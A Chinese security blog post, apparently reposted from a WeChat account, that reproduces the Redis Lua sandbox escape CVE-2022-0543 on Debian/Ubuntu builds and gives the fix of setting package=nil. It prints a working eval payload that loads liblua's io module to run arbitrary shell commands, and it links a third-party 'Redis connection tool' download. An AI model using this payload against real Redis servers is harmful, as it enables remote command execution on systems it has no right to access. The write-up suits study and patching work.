CVE-2022-0543(redis沙盒逃逸)复现 || redis连接工具

admin 2023年3月7日14:45:06评论150 views1字数 770阅读2分34秒阅读模式
Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

该漏洞影响的版本有ubuntu和debian,但是我看其他帖子说centos也存在该漏洞,但是我尝试复现时并未成功

漏洞复现

1、使用redis连接工具连接上数据库

CVE-2022-0543(redis沙盒逃逸)复现 || redis连接工具

2、使用payload命令执行

打开命令行窗口

CVE-2022-0543(redis沙盒逃逸)复现 || redis连接工具

 

执行命令获取id
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

CVE-2022-0543(redis沙盒逃逸)复现 || redis连接工具

修改命令中id的值可执行任意命令

CVE-2022-0543(redis沙盒逃逸)复现 || redis连接工具

修复方案

正式修复方案:Lua 初始化的末尾添加package=nil 

临时修复方案:关闭服务

redis连接工具

链接:https://pan.baidu.com/s/1sxzbtsLg4gK_GMlbpZ-jYg 提取码:pzaq --来自百度网盘

免责声明
由于传播、利用本公众号鹏组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号鹏组安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(鹏组安全):CVE-2022-0543(redis沙盒逃逸)复现 || redis连接工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月7日14:45:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-0543(redis沙盒逃逸)复现 || redis连接工具https://cn-sec.com/archives/1591808.html

发表评论

匿名网友 填写信息